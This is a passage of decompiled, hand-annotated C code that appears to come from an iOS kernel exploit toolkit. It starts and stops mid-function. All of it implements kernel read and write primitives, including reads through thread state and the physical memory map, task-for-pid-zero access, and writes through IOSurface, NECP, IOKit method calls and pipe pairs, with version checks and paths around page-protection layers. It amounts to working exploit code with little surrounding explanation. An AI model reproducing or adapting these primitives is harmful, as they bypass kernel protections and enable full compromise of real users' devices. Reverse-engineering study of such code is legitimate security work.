  __int64 v34; // x0
  kern_return_t state; // w0
  unsigned int v36; // w19
  __int64 v37; // x0
  unsigned int v38; // w0
  unsigned int v39; // w8
  unsigned __int64 vaddr__; // [xsp+8h] [xbp-2B8h]
  __int64 outBuf_; // [xsp+10h] [xbp-2B0h]
  unsigned int size_; // [xsp+1Ch] [xbp-2A4h]
  int v43; // [xsp+20h] [xbp-2A0h]
  __int64 outBufWithOff; // [xsp+28h] [xbp-298h]
  __int64 vaddrPlusI; // [xsp+30h] [xbp-290h]
  int fd; // [xsp+38h] [xbp-288h] BYREF
  mach_msg_type_number_t v47; // [xsp+3Ch] [xbp-284h] BYREF
  natural_t old_state[134]; // [xsp+40h] [xbp-280h] BYREF
  __int64 v49; // [xsp+258h] [xbp-68h] BYREF
  mach_msg_type_number_t old_stateCnt[4]; // [xsp+260h] [xbp-60h] BYREF

  v5 = 0xAD001;
  if ( krwCtx->threadForKernelRead + 1 >= 2 )
  {
    if ( *(uint64_t *)&krwCtx->gap42[40] )
    {
      vaddr_ = vaddr;
      if ( check_kaddr_in_physmap(krwCtx, vaddr) )
      {
        fd = -1;
        if ( !a5 || (v5 = fd_open_dev_null(&fd), !(uint32_t)v5) )
        {
          if ( size )
          {
            iMaybe = 0;
            size_ = size;
            vaddr__ = vaddr_;
            outBuf_ = outBuf;
            while ( 1 )
            {
              sizeMinusI = size - iMaybe;
              iPtr = iMaybe;
              vaddrPlusI = vaddr_ + iMaybe;
              if ( (krwCtx->pageMask & vaddrPlusI) == 0 && sizeMinusI >= 0x4000 && krw_ctx_has_read_caps(krwCtx) )
              {
                xnuVersionPacked = krwCtx->xnuVersionPacked;
                if ( xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
                  v16 = 0x4000;
                else
                  v16 = 0x80000;
                if ( xnuVersionPacked <= XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
                  v17 = v16;
                else
                  v17 = 528;
                if ( sizeMinusI >= v17 )
                  v18[0] = v17;
                else
                  v18[0] = sizeMinusI;
                v5 = necp_semaphore_kread((__int64)krwCtx, vaddrPlusI, (char *)(outBuf + iPtr), v18[0]);
LABEL_68:
                if ( (uint32_t)v5 )
                  goto LABEL_72;
                goto LABEL_69;
              }
              if ( sizeMinusI >= 0x210 )
                *(uint64_t *)v18 = 528;
              else
                *(uint64_t *)v18 = sizeMinusI;
              if ( krwCtx->threadForKernelRead + 1 < 2 || !*(uint64_t *)&krwCtx->gap42[40] )
              {
                v5 = 708609;
                goto LABEL_72;
              }
              if ( v18[0] )
                break;
LABEL_69:
              iMaybe = v18[0] + iPtr;
              if ( v18[0] + (unsigned int)iPtr >= size )
                goto LABEL_70;
            }
            v19 = 0;
            v20 = iPtr;
            offIGuess = 0;
            v43 = v20;
            outBufWithOff = outBuf + v20;
            while ( 1 )
            {
              v22 = v19 + vaddrPlusI;
              outBufWithOffAndOff = (void *)(v19 + outBufWithOff);
              v24 = *(uint64_t *)v18 - v19;
              if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3) && (krwCtx->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
              {
                *(uint64_t *)old_stateCnt = 0;
                v47 = 132;
                pageMask = krwCtx->pageMask;
                if ( (pageMask & v22) >= (unsigned __int64)(unsigned int)krwCtx->pageSizeOrSomething - 528 )
                  v32 = (unsigned int)krwCtx->pageSizeOrSomething - 528LL;
                else
                  v32 = pageMask & v22;
                if ( validate_kaddr_range((__int64)krwCtx, *(uint64_t *)&krwCtx->gap42[48]) )
                {
                  *(uint64_t *)old_stateCnt = *(uint64_t *)&krwCtx->gap42[48];
                  goto LABEL_45;
                }
                v37 = read_via_mapped_physmem_region((__int64)krwCtx, *(uint64_t *)&krwCtx->gap42[40], old_stateCnt, 8u, 0);
                v5 = v37;
                if ( !(uint32_t)v37 )
                {
                  *(uint64_t *)&krwCtx->gap42[48] = *(uint64_t *)old_stateCnt;
LABEL_45:
                  v33 = v32 + (v22 & ~pageMask);
                  __dsb(0xBu);
                  v49 = v33 - 16;
                  v34 = physwritebuf_direct_mapped(krwCtx, *(uint64_t *)&krwCtx->gap42[40], &v49, 8u, 0);
                  v5 = v34;
                  if ( !(uint32_t)v34 )
                  {
                    state = thread_get_state(krwCtx->threadForKernelRead, 0x11, old_state, &v47);
                    if ( state )
                    {
                      v36 = state | 0x80000000;
                    }
                    else if ( v47 == 132 )
                    {
                      if ( v33 - v22 + 528 <= v24 )
                        offIGuess = v33 - v22 + 528;
                      else
                        offIGuess = *(uint64_t *)v18 - v19;
                      memcpy(outBufWithOffAndOff, (char *)old_state + v22 - v33, offIGuess);
                      v36 = 0;
                    }
                    else
                    {
                      v36 = 708642;
                    }
                    v38 = physwritebuf_direct_mapped(krwCtx, *(uint64_t *)&krwCtx->gap42[40], old_stateCnt, 8u, 0);
                    if ( v36 )
                      v39 = v36;
                    else
                      v39 = v38;
                    if ( v38 )
                      v5 = v39;
                    else
                      v5 = v36;
                  }
                }
              }
              else
              {
                old_stateCnt[0] = 132;
                v25 = krwCtx->pageMask;
                v26 = v22 & ~v25;
                v27 = v25 & v22;
                if ( v27 >= (unsigned __int64)(unsigned int)krwCtx->pageSizeOrSomething - 528 )
                  v27 = (unsigned int)krwCtx->pageSizeOrSomething - 528LL;
                v28 = v27 + v26;
                v29 = **(uint64_t **)&krwCtx->gap42[24];
                __dsb(0xBu);
                **(uint64_t **)&krwCtx->gap42[24] = v27 + v26 - 16;
                v30 = thread_get_state(krwCtx->threadForKernelRead, 17, old_state, old_stateCnt);
                if ( v30 )
                {
                  v5 = v30 | 0x80000000;
                }
                else if ( old_stateCnt[0] == 132 )
                {
                  if ( v28 - v22 + 528 <= v24 )
                    offIGuess = v28 - v22 + 528;
                  else
                    offIGuess = *(uint64_t *)v18 - v19;
                  memcpy(outBufWithOffAndOff, (char *)old_state + v22 - v28, offIGuess);
                  v5 = 0;
                }
                else
                {
                  v5 = 708642;
                }
                **(uint64_t **)&krwCtx->gap42[24] = v29;
              }
              if ( !(uint32_t)v5 )
              {
                v19 += offIGuess;
                if ( v19 < *(uint64_t *)v18 )
                  continue;
              }
              size = size_;
              vaddr_ = vaddr__;
              outBuf = outBuf_;
              LODWORD(iPtr) = v43;
              goto LABEL_68;
            }
          }
LABEL_70:
          v5 = 0;
LABEL_72:
          if ( fd != -1 )
            fd_close(fd);
        }
      }
    }
  }
  return v5;
}
// 2999C: variable 'v34' is possibly undefined
// 29A04: variable 'v37' is possibly undefined
// 29A7C: variable 'v38' is possibly undefined

//----- (0000000000029AD0) ----------------------------------------------------
__int64 __fastcall kreadbuf_via_tfp0(
        vm_map_read_t target_task,
        __int64 vaddr,
        mach_vm_size_t size,
        mach_vm_size_t size2,
        __int64 outBuf,
        uint64_t *a6)
{
  mach_vm_size_t v8; // x21
  __int64 baseAddr; // x24
  mach_vm_size_t v12; // x25
  mach_vm_size_t v13; // x2
  __int64 result; // x0
  mach_vm_size_t outsize; // [xsp+8h] [xbp-48h] BYREF

  if ( !size )
    return 4;
  v8 = size;
  baseAddr = 0;
  if ( size2 )
    v12 = size2;
  else
    v12 = size;
  while ( 1 )
  {
    outsize = v8;
    v13 = v8 >= v12 ? v12 : v8;
    result = mach_vm_read_overwrite(target_task, baseAddr + vaddr, v13, baseAddr + outBuf, &outsize);
    if ( (uint32_t)result )
      break;
    baseAddr = (unsigned int)(outsize + baseAddr);
    v8 -= outsize;
    if ( !v8 )
    {
      result = 0;
      if ( a6 )
        *a6 = baseAddr;
      return result;
    }
  }
  return result;
}

//----- (0000000000029B78) ----------------------------------------------------
bool __fastcall kread64_internal(struct_krwCtx *a1, unsigned __int64 a2, uint64_t *a3)
{
  __int64 (__fastcall *v3)(struct_krwCtx *, unsigned __int64, uint64_t *, uint64_t, __int64); // x8
  int v4; // w0
  int v5; // w0
  __int64 v7; // [xsp+8h] [xbp-8h] BYREF

  *a3 = 0;
  v3 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, uint64_t *, uint64_t, __int64))&a1->gap4[44];
  if ( v3 )
  {
    v4 = v3(a1, a2, a3, (unsigned int)a1->stride168, 1);
    goto LABEL_3;
  }
  if ( a1->threadForKernelRead + 1 >= 2 && *(uint64_t *)&a1->gap42[40] )
  {
    v4 = kreadbuf_via_dev_null_and_thread_state(a1, a2, (__int64)a3, a1->stride168, 1);
  }
  else if ( (unsigned int)(*(uint32_t *)&a1->gap42[56] + 1) >= 2 && *(uint64_t *)&a1->gap42[72] && *(uint64_t *)&a1->gap42[80] )
  {
    v4 = kreadbuf_via_IOConnectCallMethod((__int64)a1, a2, (__int64)a3, a1->stride168, 1);
  }
  else
  {
    if ( a1->gap1911[0] == -1 || a1->gap1911[1] == -1 )
      goto LABEL_22;
    if ( a1->gap1915 != -1 && a1->gap190u )
    {
      v4 = kreadbuf_via_dev_null_only((__int64)a1, a2, (__int64)a3, a1->stride168, 1);
      goto LABEL_3;
    }
    if ( a1->gap1913 == -1 || a1->gap1914 == -1 )
    {
LABEL_22:
      v5 = kreadbuf_via_tfp0(a1->gap191[693], a2, a1->stride168, (unsigned int)a1->gap16C[3], (__int64)a3, &v7);
      return v5 == 0;
    }
    v4 = kreadbuf_via_dev_null_simple(a1, a2, a3, a1->stride168, 1);
  }
LABEL_3:
  if ( v4 )
    v5 = 5;
  else
    v5 = 0;
  return v5 == 0;
}

//----- (0000000000029CB0) ----------------------------------------------------
unsigned __int64 __fastcall maybe_sptm_translate_kaddr(struct_krwCtx *a1, __int64 a2)
{
  __int64 vars8; // [xsp+28h] [xbp+8h]

  if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) || (a1->flags & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 )
    return a2;
  return krw_xpac_vaddr(a1, a2);
}
// 29D08: variable 'vars8' is possibly undefined

//----- (0000000000029D2C) ----------------------------------------------------
unsigned __int64 __fastcall sub_29D2C(struct_krwCtx *a1, __int64 a2)
{
  __int64 vars8; // [xsp+18h] [xbp+8h]

  if ( !krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) )
    return a2;
  return krw_xpac_vaddr(a1, a2);
}
// 29D68: variable 'vars8' is possibly undefined

//----- (0000000000029D88) ----------------------------------------------------
unsigned __int64 __fastcall sub_29D88(struct_krwCtx *a1, __int64 a2)
{
  __int64 v2; // x19

  v2 = a2;
  if ( a2 && (a2 & 0x80000000000000LL) != 0 )
  {
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER) || krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A16_A17_MASK) && a1->xnuVersionPacked >= XNU_VERSION_PACKED(8792, 40, 108, 0, 0) )
      return v2 | 0xFFFF800000000000LL;
    else
      return v2 | 0xFFFFFF8000000000LL;
  }
  return v2;
}

//----- (0000000000029DF8) ----------------------------------------------------
bool __fastcall this_is_the_kwrite64(__int64 a1, mach_vm_address_t address, __int64 newValue, int whatIsThis)
{
  __int64 (__fastcall *v6)(__int64, mach_vm_address_t, __int64 *, uint64_t, __int64); // x8
  int v7; // w0
  kern_return_t v8; // w21
  __int64 v10; // x23
  semaphore_t v11; // w0
  int v12; // w21
  vm_map_t v13; // w0
  mach_vm_size_t v14; // x2
  __int64 v16; // x9
  int v17; // w8
  uint64_t *v18; // x20
  kern_return_t v19; // w0
  mach_timespec_t v20; // x1
  kern_return_t v21; // w0
  __int64 v22; // [xsp+8h] [xbp-48h] BYREF
  __int64 v23; // [xsp+10h] [xbp-40h] BYREF
  vm_machine_attribute_val_t value[2]; // [xsp+18h] [xbp-38h] BYREF

  v22 = newValue;
  v6 = *(__int64 (__fastcall **)(__int64, mach_vm_address_t, __int64 *, uint64_t, __int64))(a1 + 64);
  if ( v6 )
  {
    v7 = v6(a1, address, &v22, *(unsigned int *)(a1 + 360), 1);
    goto LABEL_3;
  }
  if ( (unsigned int)(*(uint32_t *)(a1 + 172) + 1) >= 2 && *(uint64_t *)(a1 + 216) )
  {
    *(uint64_t *)value = newValue;
    if ( !*(uint64_t *)(a1 + 7496) )
    {
      v8 = 5;
      return v8 == 0;
    }
    v7 = iosurface_physmap_kwrite((struct_krwCtx *)a1, address, (__int64)value, *(uint32_t *)(a1 + 360), 1);
    goto LABEL_3;
  }
  if ( (unsigned int)(*(uint32_t *)(a1 + 232) + 1) >= 2 && *(uint64_t *)(a1 + 248) && *(uint64_t *)(a1 + 256) )
  {
    v7 = ioconnect_callmethod_write(a1, address, (__int64)&v22, *(uint32_t *)(a1 + 360), 1);
    goto LABEL_3;
  }
  if ( *(uint32_t *)(a1 + 6448) == -1 || *(uint32_t *)(a1 + 6452) == -1 )
    goto LABEL_27;
  if ( *(uint32_t *)(a1 + 6464) == -1 || !*(uint64_t *)(a1 + 536) )
  {
    if ( *(uint32_t *)(a1 + 6456) != -1 && *(uint32_t *)(a1 + 6460) != -1 )
    {
      v7 = pipe_pair_krw((struct_krwCtx *)a1, address, &v22, *(uint32_t *)(a1 + 360), 1);
      goto LABEL_3;
    }
LABEL_27:
    v8 = mach_vm_write(*(uint32_t *)(a1 + 6424), address, (vm_offset_t)&v22, *(uint32_t *)(a1 + 360));
    v13 = *(uint32_t *)(a1 + 6424);
    v14 = *(int *)(a1 + 360);
    value[0] = 7;
    mach_vm_machine_attribute(v13, address, v14, 1u, value);
    return v8 == 0;
  }
  v23 = newValue;
  if ( whatIsThis )
  {
    v7 = acquire_write_semaphore_lock(a1, 1u, 0x2710u);
    if ( v7 )
      goto LABEL_3;
    if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
    {
      v12 = necp_ioservice_auth_write(a1, address);
      goto LABEL_32;
    }
    *(uint64_t *)value = newValue;
    v10 = *(uint64_t *)(a1 + 40);
    if ( !v10 || (v11 = *(uint32_t *)(v10 + 8), v11 + 1 < 2) )
    {
      v12 = 708609;
      goto LABEL_32;
    }
    v12 = 708609;
    if ( (unsigned int)(*(uint32_t *)(v10 + 12) + 1) >= 2 )
    {
      *(uint64_t *)(v10 + 32) = address;
      v18 = (uint64_t *)(v10 + 32);
      *(uint64_t *)(v10 + 40) = value;
      *(uint64_t *)(v10 + 48) = 8;
      v19 = semaphore_signal(v11);
      if ( v19 )
      {
        v12 = v19 | 0x80000000;
LABEL_41:
        *v18 = 0;
        *(uint64_t *)(v10 + 40) = 0;
        *(uint64_t *)(v10 + 48) = 0;
        goto LABEL_32;
      }
      v20 = IDA_MACH_TIMESPEC(3ULL);
      v21 = semaphore_timedwait(*(uint32_t *)(v10 + 12), v20);
      v12 = *(uint32_t *)(v10 + 60);
      if ( !v12 )
      {
        if ( v21 )
          v12 = v21 | 0x80000000;
        else
          v12 = 0;
        goto LABEL_41;
      }
      *v18 = 0;
      *(uint64_t *)(v10 + 40) = 0;
      *(uint64_t *)(v10 + 48) = 0;
      teardown_semaphore_helper_ctx(a1, 0);
    }
LABEL_32:
    v16 = *(uint64_t *)(a1 + 280);
    v17 = 708616;
    if ( v16 && *(uint64_t *)(a1 + 288) )
    {
      v17 = 0;
      atomic_store(0, (unsigned __int8 *)(v16 + 1));
    }
    if ( v12 )
      v7 = v12;
    else
      v7 = v17;
    goto LABEL_3;
  }
  v7 = necp_ioconnect_krw(a1, address, (__int64)&v23, *(uint32_t *)(a1 + 360), 1);
LABEL_3:
  if ( v7 )
    v8 = 5;
  else
    v8 = 0;
  return v8 == 0;
}

//----- (000000000002A0D0) ----------------------------------------------------
bool __fastcall kwrite64(__int64 a1, mach_vm_address_t a2, __int64 a3)
{
  return kwrite64_last_arg(a1, a2, a3, *(unsigned __int8 *)(a1 + 12));
}

//----- (000000000002A0D8) ----------------------------------------------------
__int64 __fastcall pgtable_walk_and_physmap_remap(struct_krwCtx *a1, __int64 a2, __int64 a3)
{
  int v6; // w0
  int v7; // w0
  __int64 v8; // x8
  __int64 v9; // x20
  uint8_t v11[32]; // [xsp+8h] [xbp-88h] BYREF
  __int64 v12; // [xsp+28h] [xbp-68h]
  __int128 v13[3]; // [xsp+30h] [xbp-60h] BYREF
  __int64 v14; // [xsp+60h] [xbp-30h]

  v14 = 0;
  memset(v13, 0, sizeof(v13));
  pgtable_walk_wrapper((__int64)a1, a2 & ~a1->pageMask, (__int64)v11);
  if ( !v6 )
    return 0;
  v7 = physmap_map_cached(a1, v12 & 0xFFFFFFFFC000LL, (__int64)v13);
  v8 = *(uint64_t *)&v13[0];
  if ( v7 )
  {
    v9 = 0;
    if ( !*(uint64_t *)&v13[0] )
      return v9;
    goto LABEL_7;
  }
  *(uint64_t *)((a1->pageMask & a2) + *(uint64_t *)&v13[0]) = a3;
  v9 = 1;
  if ( v8 )
LABEL_7:
    physmap_unmap_cached((__int64)a1, (__int64)v13);
  return v9;
}
// 2A11C: variable 'v6' is possibly undefined

//----- (000000000002A188) ----------------------------------------------------
__int64 __fastcall kwritebuf_last_arg_1(__int64 ctx, __int64 address, const void *buf, mach_vm_size_t bufSize)
{
  return noppl_kwritebuf(ctx, address, buf, bufSize, 1);
}

//----- (000000000002A190) ----------------------------------------------------
unsigned __int64 __fastcall port_right_index_to_kaddr(__int64 a1, unsigned int a2)
{
  __int64 v2; // x19
  unsigned __int64 result; // x0
  __int64 v4; // x8
  __int64 v5; // x9
  int v6; // [xsp+Ch] [xbp-14h] BYREF

  v2 = a2;
  if ( !a2 )
    return 0;
  if ( (a2 & 0x80000000) != 0 )
  {
    v4 = *(uint64_t *)(a1 + 496);
    if ( v4 )
    {
      v5 = *(unsigned int *)(a1 + 504);
      if ( (uint32_t)v5 )
        return v4 + (a2 & 0x7FFFFFFF) * v5;
    }
    return 0;
  }
  result = kernel_va_base_resolver((struct_krwCtx *)a1, 0, &v6);
  if ( result )
    result += v2 << v6;
  return result;
}

//----- (000000000002A200) ----------------------------------------------------
unsigned __int64 __fastcall decode_pte_to_physmap_addr(struct_krwCtx *a1, unsigned __int64 a2, uint32_t *a3)
{
  bool v6; // cc
  int v7; // w9
  unsigned __int64 v8; // x8
  unsigned __int64 v9; // x11
  char v10; // w12
  __int64 v11; // x10
  __int64 v12; // x13
  __int64 v13; // x13
  __int64 v14; // x12
  __int64 v15; // x12
  __int64 v16; // x9
  unsigned __int64 v17; // x8

  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) )
  {
    if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER) || krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A16_A17_MASK) )
    {
      v6 = a1->xnuVersionPacked > XNU_VERSION_PACKED(8792, 80, 24, 1023, 1023);
      v7 = v6;
      v8 = 0xFFFF9FFFFFFFFFF0LL;
      if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8792, 80, 24, 1023, 1023) )
        v8 = -32;
      v9 = 0xFFFFBFFFFFFFC000LL;
      if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8792, 80, 24, 1023, 1023) )
      {
        v10 = 46;
      }
      else
      {
        v9 = 0xFFFF9FFFFFFFC000LL;
        v10 = 45;
      }
      v11 = 0x600000000000LL;
      v12 = 0x400000000000LL;
    }
    else
    {
      v6 = a1->xnuVersionPacked > XNU_VERSION_PACKED(8792, 80, 24, 1023, 1023);
      v7 = v6;
      v8 = 0xFFFFFF9FFFFFFFF0LL;
      if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8792, 80, 24, 1023, 1023) )
        v8 = -32;
      v9 = 0xFFFFFFBFFFFFC000LL;
      if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(8792, 80, 24, 1023, 1023) )
      {
        v10 = 38;
      }
      else
      {
        v9 = 0xFFFFFF9FFFFFC000LL;
        v10 = 37;
      }
      v11 = 0x6000000000LL;
      v12 = 0x4000000000LL;
    }
    if ( v6 )
      v11 = v12;
    v13 = 3;
    if ( v7 )
      v13 = 1;
    v14 = v13 & (a2 >> v10);
    if ( v14 )
    {
      v15 = v14 << (a2 & 0xF);
      if ( v7 )
        v16 = (a2 & 0x10 | 0x20) << (a2 & 0xF);
      else
        LODWORD(v16) = v15;
    }
    else
    {
      LODWORD(v16) = ((uint32_t)a2 << 14) & 0xFFFC000;
      v8 = v9;
    }
    *a3 = v16;
    return v8 & a2 | v11;
  }
  else
  {
    v17 = HIWORD(a2);
    if ( (a2 & 0x800000000000LL) != 0 )
      LODWORD(v17) = HIWORD(a2) << 14;
    *a3 = v17;
    return a2 | 0xFFFF800000000000LL;
  }
}

//----- (000000000002A360) ----------------------------------------------------
bool __fastcall kreadbuf_universal(struct_krwCtx *krwCtx, unsigned __int64 vaddr, mach_vm_size_t size, void *outBuf, __int64 a5)
{
  __int64 (__fastcall *v5)(struct_krwCtx *, unsigned __int64, void *, mach_vm_size_t, __int64); // x9
  int v6; // w0
  int v7; // w0

  v5 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, void *, mach_vm_size_t, __int64))&krwCtx->gap4[44];
  if ( v5 )
  {
    v6 = v5(krwCtx, vaddr, outBuf, size, a5);
    goto LABEL_3;
  }
  if ( krwCtx->threadForKernelRead + 1 >= 2 && *(uint64_t *)&krwCtx->gap42[40] )
  {
    v6 = kreadbuf_via_dev_null_and_thread_state(krwCtx, vaddr, (__int64)outBuf, size, a5);
  }
  else if ( (unsigned int)(*(uint32_t *)&krwCtx->gap42[56] + 1) >= 2
         && *(uint64_t *)&krwCtx->gap42[72]
         && *(uint64_t *)&krwCtx->gap42[80] )
  {
    v6 = kreadbuf_via_IOConnectCallMethod((__int64)krwCtx, vaddr, (__int64)outBuf, size, a5);
  }
  else
  {
    if ( krwCtx->gap1911[0] == -1 || krwCtx->gap1911[1] == -1 )
      goto LABEL_22;
    if ( krwCtx->gap1915 != -1 && krwCtx->gap190u )
    {
      v6 = kreadbuf_via_dev_null_only((__int64)krwCtx, vaddr, (__int64)outBuf, size, a5);
      goto LABEL_3;
    }
    if ( krwCtx->gap1913 == -1 || krwCtx->gap1914 == -1 )
    {
LABEL_22:
      v7 = kreadbuf_via_tfp0(krwCtx->gap191[693], vaddr, size, (unsigned int)krwCtx->gap16C[3], (__int64)outBuf, 0);
      return v7 == 0;
    }
    v6 = kreadbuf_via_dev_null_simple(krwCtx, vaddr, outBuf, size, a5);
  }
LABEL_3:
  if ( v6 )
    v7 = 5;
  else
    v7 = 0;
  return v7 == 0;
}

//----- (000000000002A480) ----------------------------------------------------
bool __fastcall kreadbuf_0(__int64 ctx, unsigned __int64 addr, mach_vm_size_t size, void *outBuf)
{
  return kreadbuf_universal((struct_krwCtx *)ctx, addr, size, outBuf, 0);
}

//----- (000000000002A488) ----------------------------------------------------
bool __fastcall noppl_kwritebuf(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4, int a5)
{
  __int64 (__fastcall *v5)(__int64, unsigned __int64, const void *, mach_vm_size_t, int); // x8
  int v6; // w0
  int v7; // w0

  TRACE_PORTS("noppl_kwritebuf enter ctx=%llx addr=%llx buf=%llx size=%llx a5=%d fn=%llx sptm_fd=%d sptm_ctx=%llx shm_port=%d shm_u=%llx shm_k=%llx necp_r=%d necp_w=%d pipe0=%d pipe1=%d iosurface_fd=%d necp=%llx tfp=%d chunk=%u\n",
              (unsigned long long)a1,
              (unsigned long long)a2,
              (unsigned long long)a3,
              (unsigned long long)a4,
              a5,
              (unsigned long long)*(uint64_t *)(a1 + 64),
              *(uint32_t *)(a1 + 172),
              (unsigned long long)*(uint64_t *)(a1 + 216),
              *(uint32_t *)(a1 + 232),
              (unsigned long long)*(uint64_t *)(a1 + 248),
              (unsigned long long)*(uint64_t *)(a1 + 256),
              *(uint32_t *)(a1 + 6448),
              *(uint32_t *)(a1 + 6452),
              *(uint32_t *)(a1 + 6456),
              *(uint32_t *)(a1 + 6460),
              *(uint32_t *)(a1 + 6464),
              (unsigned long long)*(uint64_t *)(a1 + 536),
              *(uint32_t *)(a1 + 6424),
              *(uint32_t *)(a1 + 376));
  v5 = *(__int64 (__fastcall **)(__int64, unsigned __int64, const void *, mach_vm_size_t, int))(a1 + 64);
  if ( v5 )
  {
    v6 = v5(a1, a2, a3, a4, a5);
    TRACE_PORTS("noppl_kwritebuf backend=custom raw=%x\n", v6);
    goto LABEL_3;
  }
  if ( (unsigned int)(*(uint32_t *)(a1 + 172) + 1) >= 2 && *(uint64_t *)(a1 + 216) )
  {
    v6 = iosurface_physmap_kwrite((struct_krwCtx *)a1, a2, (__int64)a3, a4, a5);
    TRACE_PORTS("noppl_kwritebuf backend=sptm raw=%x\n", v6);
  }
  else if ( (unsigned int)(*(uint32_t *)(a1 + 232) + 1) >= 2 && *(uint64_t *)(a1 + 248) && *(uint64_t *)(a1 + 256) )
  {
    v6 = ioconnect_callmethod_write(a1, a2, (__int64)a3, a4, a5);
    TRACE_PORTS("noppl_kwritebuf backend=ioconnect raw=%x\n", v6);
  }
  else
  {
    if ( *(uint32_t *)(a1 + 6448) == -1 || *(uint32_t *)(a1 + 6452) == -1 )
      goto LABEL_22;
    if ( *(uint32_t *)(a1 + 6464) != -1 && *(uint64_t *)(a1 + 536) )
    {
      v6 = necp_ioconnect_krw(a1, a2, (__int64)a3, a4, a5);
      TRACE_PORTS("noppl_kwritebuf backend=necp raw=%x\n", v6);
      goto LABEL_3;
    }
    if ( *(uint32_t *)(a1 + 6456) == -1 || *(uint32_t *)(a1 + 6460) == -1 )
    {
LABEL_22:
      v7 = mach_vm_read_with_attr_chunks(*(uint32_t *)(a1 + 6424), a2, (__int64)a3, a4, *(uint32_t *)(a1 + 376));
      TRACE_PORTS("noppl_kwritebuf backend=tfp raw=%x ok=%d\n", v7, v7 == 0);
      return v7 == 0;
    }
    v6 = pipe_pair_krw((struct_krwCtx *)a1, a2, a3, a4, a5);
    TRACE_PORTS("noppl_kwritebuf backend=pipe raw=%x\n", v6);
  }
LABEL_3:
  if ( v6 )
    v7 = 5;
  else
    v7 = 0;
  TRACE_PORTS("noppl_kwritebuf exit raw=%x ok=%d\n", v6, v7 == 0);
  return v7 == 0;
}

//----- (000000000002A56C) ----------------------------------------------------
bool __fastcall kwritebuf_last_0(__int64 a1, unsigned __int64 a2, const void *a3, mach_vm_size_t a4)
{
  return noppl_kwritebuf(a1, a2, a3, a4, 0);
}

//----- (000000000002A574) ----------------------------------------------------
mach_vm_address_t __fastcall ppl_kwrite32(struct_krwCtx *a1, mach_vm_address_t a2, int a3)
{
  unsigned __int64 v4; // x21
  struct_krwCtx *v5; // x19
  mach_vm_address_t result; // x0
  int newBytes; // [xsp+Ch] [xbp-24h] BYREF
  __int64 vars8; // [xsp+38h] [xbp+8h]

  v4 = a2;
  v5 = a1;
  newBytes = a3;
  if ( a1->xnuVersionPacked < XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
  {
LABEL_8:
    return noppl_kwrite32((__int64)a1, a2, a3);
  }
  if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
    return ppl_kwritebuf((__int64)v5, v4, &newBytes, 4);
  result = remap_kaddr_through_physmap(v5, v4);
  if ( result )
  {
    a2 = result;
    a1 = v5;
    goto LABEL_8;
  }
  return result;
}

//----- (000000000002A63C) ----------------------------------------------------
int kwrite64_dispatch(struct_krwCtx *ctx, mach_vm_address_t address, __int64 new_value)
{
    // Version threshold: XNU_VERSION_PACKED(8019, 60, 40, 0, 0)
    // = 0x001F530F02800000
    if (ctx->xnuVersionPacked >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0)) {

        // New path: check for specific CPU/capability flag 0x05184001
        if (krw_ctx_has_flag(ctx, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK)) {
            // Tail call — PAC-authenticated branch to ppl_kwrite_physmap_checked
            return ppl_kwrite_physmap_checked(ctx, address, new_value);
        }

        // Translate address via remap_kaddr_through_physmap
        uint64_t translated = remap_kaddr_through_physmap(ctx, address);
        if (!translated)
            return 0;  // retab with no value set → returns 0

        // Use translated address, fall through to kwrite64_last_arg
        address = translated;
        // fall through

    }

    // Old path (and new path fallthrough):
    // ldrb w3, [x20, #0xc]  →  4th arg = ctx->byte_0x0c
    uint8_t arg3 = *(uint8_t *)((uint8_t *)ctx + 0x0c);

    // Tail call
    return kwrite64_last_arg(ctx, address, new_value, arg3);
}
// 2A6A4: variable 'vars8' is possibly undefined

//----- (000000000002A714) ----------------------------------------------------
unsigned __int64 __fastcall kwritebuf_universal(
        uint64_t *a1,
        unsigned __int64 vaddr,
        const void *newBytes,
        mach_vm_size_t length)
{
  unsigned __int64 vaddr_; // x22
  struct_krwCtx *ctx_; // x21
  unsigned __int64 result; // x0
  __int64 vars8; // [xsp+28h] [xbp+8h]

  vaddr_ = vaddr;
  ctx_ = (struct_krwCtx *)a1;
  if ( a1[43] >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
  {
    if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
    {
      return ppl_kwritebuf((__int64)ctx_, vaddr_, (void *)newBytes, length);
    }
    result = remap_kaddr_through_physmap(ctx_, vaddr_);
    if ( !result )
      return result;
    vaddr = result;
    a1 = &ctx_->flags;
  }
  return noppl_kwritebuf((__int64)a1, vaddr, newBytes, length, 1);
}
// 2A784: variable 'vars8' is possibly undefined

//----- (000000000002A7F4) ----------------------------------------------------
__int64 __fastcall mach_vm_read_with_attr_chunks(
        vm_map_t target_task,
